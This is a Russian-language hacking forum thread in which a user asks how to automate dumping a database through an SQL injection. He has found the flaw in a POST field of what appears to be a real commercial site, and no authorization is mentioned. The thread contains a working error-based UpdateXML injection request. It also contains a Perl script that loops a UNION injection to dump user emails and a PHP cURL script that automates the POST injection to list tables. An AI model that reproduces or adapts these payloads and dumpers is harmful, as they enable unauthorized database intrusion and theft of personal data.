Как автоматизировать выборку с limit?

Discussion in 'Песочница' started by kacergei, 12 Nov 2015.

  1. kacergei

    kacergei Member

    Joined:
    26 May 2007
    Messages:
    267
    Likes Received:
    89
    Reputations:
    1
    Всем добрый,
    подскажите как автоматизировать выборку таблиц/колонок/данных
    Например сейчас делаю запрос:
    Code:
    POST /okna/pvh/zakaz/ HTTP/1.0
    User-Agent: Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.5.24 Version/10.53
    Host: www.mysiteokna.ru
    Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
    Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
    Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
    Accept-Encoding: identity, *;q=0
    
    Zakaz[okno][]=1" and(UpdateXML(0x03b,concat(0x3b,(select table_name FROM information_schema.tables  limit 0,1)),0x3b))="
    Выдает:
    Code:
    CDbCommand не удалось исполнить SQL-запрос: SQLSTATE[HY000]: General error: 1105 XPATH syntax error: ';CHARACTER_SETS' 
    Так то в ручную вытащил чуть больше 400 таблиц и колонки начал, но что то уже руки отваливаются)
    Можете посоветовать какой-нибудь скрипт, кто как в таких ситуациях поступает?
    Идеальный вариант на perl/pythone (так как больше за пингвином сижу, иногда win)
     
  2. yarbabin

    yarbabin HACKIN YO KUT

    Joined:
    21 Nov 2007
    Messages:
    1,664
    Likes Received:
    913
    Reputations:
    363
    тут несколько строчек писать на питоне, urllib + re, да и sqlmap должен справится с задачей, ничего специфичного нет.
     
    _________________________
  3. kacergei

    kacergei Member

    Joined:
    26 May 2007
    Messages:
    267
    Likes Received:
    89
    Reputations:
    1
    Находил подобный вариант:
    Code:
    #!/usr/bin/perl
    use LWP::Simple; #подгружаем пакет LWP::Simple для работы с http
    open(FH,">dump.txt"); #открываем файл на запись
    $lim=0; # предопределяем переменную $lim которая будет участвовать в запросе в
    качестве limit
    
    while(1) { #начинаем бесконечный цикл
    
    $url="http://www.example.com/profile.php?id=-1+union+select+concat('c0de',email,'ed0c')+from+users+limit+$lim,1";
    # Здесь мы указываем где именно находится SQL-инъекция, обрати внимание на объединение поля e-mail со строками, они будут использоваться регулярных выражениях
    $content = get("$url"); # выполним функцию get(), Она вернет содержимое загруженной страницы
    if($content =~ m/c0de(.*)ed0c/) { # c помощью регулярки вытаскиваем значение поля email
    print FH $1."\n"; # и заносим его в файл
    $lim++; # увеличиваем значение переменой $lim на единицу
    } else { # если в исходном коде нет записей
    print 'Total dumped ' . $lim; # выводим общее количество сдампленых записей
    exit; # и прекращаем работу скрипта
    }
    }
    
    Но как переделать в POST запрос в perl непредставляю
     
  4. nopony

    nopony New Member

    Joined:
    29 Aug 2013
    Messages:
    7
    Likes Received:
    2
    Reputations:
    8
    Если не в силах сам написать, то используй такую программу как BurpSuite /threads/430401/ , в частности вкладка intruder, она уж точно решит твою задачу
     
  5. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,399
    Likes Received:
    883
    Reputations:
    859
    Как пример реализации на пхп:
    PHP:
    set_time_limit(0);

    $limit='100'//Указать лимит
    $url="http://localhost/test.php";

    for(
    $i=0$i<$limit$i++){
       
    $exp='Zakaz[okno][]=1" and(UpdateXML(0x03b,concat(0x3b,(select table_name FROM information_schema.tables  limit '.$i.',1)),0x3b))="'//Уязвимость в пост запросе



      
    if( $curl curl_init() ) {
        
    curl_setopt($curlCURLOPT_URL"$url");
        
    curl_setopt($curlCURLOPT_RETURNTRANSFER,true);
        
    curl_setopt($curlCURLOPT_POSTtrue);
        
    curl_setopt($curlCURLOPT_POSTFIELDS$exp);
        
    curl_setopt($curlCURLOPT_USERAGENT'Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.2.15 Version/10.10');
        
    $in curl_exec($curl);

        
    //var_dump($in);
       
        
    preg_match('#XPATH syntax error: \'(.+?)\'#'$in$result);
        
    print_r($i.':'.$result[1]."\n");
        
    curl_close($curl);
      }
      
    flush();
      
    ob_flush();
    }
     
    _________________________
    blaga likes this.